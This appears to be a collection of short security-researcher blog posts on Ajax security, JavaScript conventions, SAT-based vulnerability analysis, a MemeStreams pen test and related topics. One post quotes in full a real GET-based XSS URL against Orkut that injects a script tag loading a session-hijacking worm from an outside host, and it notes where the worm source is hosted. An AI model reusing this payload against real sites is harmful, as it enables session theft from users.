Good guidelines for the makers of the Dojo toolkit about JavaScript programming style. Covers things like variable naming, function naming, denoting datatype with JavaScript's late binding, etc

Javascript Programming Conventions

I was running through some proxy logs, and saw a reference to http://sb.google.com/safebrowsing/update?version=goog-black-url:1:-1.

Requesting it redirected me to a blacklist of what look like phishing sites. However, all the way at the bottom was a reference to Google's Orkut site. Specifically the blacklist entry was for a GET-based XSS attack against Google's GLogin system.

https://www.orkut.com/GLogin.aspx?done=http://www.orkut.com/Scrapbook.aspx?na=\";};//--></script><script%20src=\'http://www.probranco.net/xmen.js\'></script><!--

If you request that URL, you get a 403 error page saying your query is from an automated attack. Looks very similar to a page Google returned during the Perl.Santy attack a year or so back.

The JavaScript source code to the attack is still available at http://www.probranco.net/xmen.js

It appears that the worm is for hijacking Orkut sessions. Here is an interesting thread when it appear the worm's code was refined.

W3C's reference for using the XmlHttpRequest object

The XMLHttpRequest Object

Basically, given an algorithm (properly reduced), can you find a set of inputs that will produce a desired output. It's NP-Complete, which is fun, but why care about this?

Well, using induction, I can analyze source code to find vulns, and, using a SAT solver, confirm that there are some values for set of inputs I control that can cause the vuln code path to actually execute from an external system. Hmmm, sounds like hacking websites doesn't it?

Dug up some old Java code last night to do this I wrote at Tech, and I'm converting it to C# today. Have a feeling I'm going to need this paper again.

The Quest for Efficient Boolean Satisfiability Solver

Jello wrote:

I know a memestreamer is writing a book on this stuff, so I'm interested in his comments on this.

This was an interesting article, and while I don't agree with it all of it, it does points out a big problem many in the web industry are guilty of: use of the word Ajax. Ajax is basically XmlHttpRequest, JavaScript, and XML. These are not insecure by themselves. End of story.

However, when most people talk about Ajax, they tend to (perhaps incorrectly) use it as a catch all when discussing web applications that exist on the client and the server that use XmlHttpRequest (XHR) to provide a rich user experience. Sounds vague, maybe I can get some VC for that! However, there are security issues that arise when an organization uses various technologies to make there websites more responsive, when creating mashups, etc. Are they new security issues? No. Does that mean talking about Ajax in the context of security is silly because it is "nothing new?" Of course not, because frankly there haven't been a "new" security issue that wasn't discussed in the godfather of security tomes: Security, Accuracy, and Privacy in Computer Systems (Martin, 1973).

There's a reason why my articles and talks have been titled "Ajax (in)security." It covers Ajax in (the context of) security as well as stupid, insecure ways people have used Ajax.

So why talk about Ajax security at all? To make sure people know about how security applies in applications that straddles the client and server. To make sure that they think twice about what the library or framework or product that makes their website prettier and more responsive actually does. To make sure people are extend their good security practices to rich interfaces. It is not Ajax's fault and it is not about finding problems with Ajax that exist no where else. It's talking about security as it applies to a new technology and that is not something to criticize or dismiss because it sounds unoriginal.

Here are my thoughts:

Does Ajax cause a larger attack surface: It depends

This really should just say “rich interface tends to increase the attack surface, Ajax included.” The article even says: “AJAX drives developers to publicly expose more functionality - which may introduce new “server-side” vulnerabilities.” Exactly, more inputs that need to be secured against traditional attacks, AKA, a larger attack surface. Is this Ajax's “fault?” Its no one's fault, just like opening a service for a Flash stock ticker to fetch prices from isn't Flash's fault. There is a cost for that rich interface, and that cost is more inputs.

It comes done to how the application is designed. Is a search engine's dialog box going to have more attack surface if the app is submitting that using XHR than a POST? No. But a search engine's dialog box that has a dynamically populated drop down box of words with a drop down like... [ Read More (0.4k in body) ]

Myths of Myths of Myths: Ajax and security

Maybe a good idea to make Memestreams privacy policy machine readable. I'll look into this more. I know SPI's products look at it.

P3P: Privacy Primer

The MPAA defines a home theater as any home with a television larger than 29" with stereo sound and at least two comfortable chairs, couch, or futon. Anyone with a home theater would need to pay a $50 registration fee with the MPAA or face fines up to $500,000 per movie shown.

"Just because you buy a DVD to watch at home doesn't give you the right to invite friends over to watch it too. That's a violation of copyright and denies us the revenue that would be generated from DVD sales to your friends," said Glickman. "Ideally we expect each viewer to have their own copy of the DVD, but we realize that isn't always feasible. The registration fee is a fair compromise.

How out of touch are these guys? I'm reminded of how in A Brave New World the only sports that are allowed required massive amounts of equipment so as to promote consumption of sporting goods. These no talent ass clowns want to limit showing a movie to friends to maximize their profits? Fuck them.

MPAA Lobbying for Home Theater Regulations

The whole problem comes down to the browser wanting to convert the response of an XHR into a unicode string and thus it chokes on the first 0x00 or other odd bytes that it sees. By forcing the character set and mapping around the nasty range values, this guy found a way to grab binary data.

The implications of this are extraordinary! JavaScript normally cannot read the image data of a picture. Thus CAPTCHA was an acceptable way to stop web viruses like Samy or Yamanner.

Hmmmm... Captcha busting in JavaScript? [Evil Laugh]

Downloading Binary Streams with XMLHttpRequest

Sorry for taking down Memestreams this afternoon. According to Rattle, my pen test sent the load to 80 on the box.

There are some vulns in Memestreams. You should look for more and tell Tom (tom@memestreams.net) or Rattle (rattle@memestreams.net). Industrial Memetics should give out shirts to those who find new ones.

So far we've found:

-Some XSS/XSRF attacks
-HTTP response splitting on a few pages
-Some directory listings
-Some default directories that shouldn't still be there
-Some cryptographic issues

giovanni arena

You just can't make this shit up.

I keep telling people, because I created Stripe Snoop, I keep getting emails from organized crime groups in Eastern Europe offering to pay me for card skimmer designs.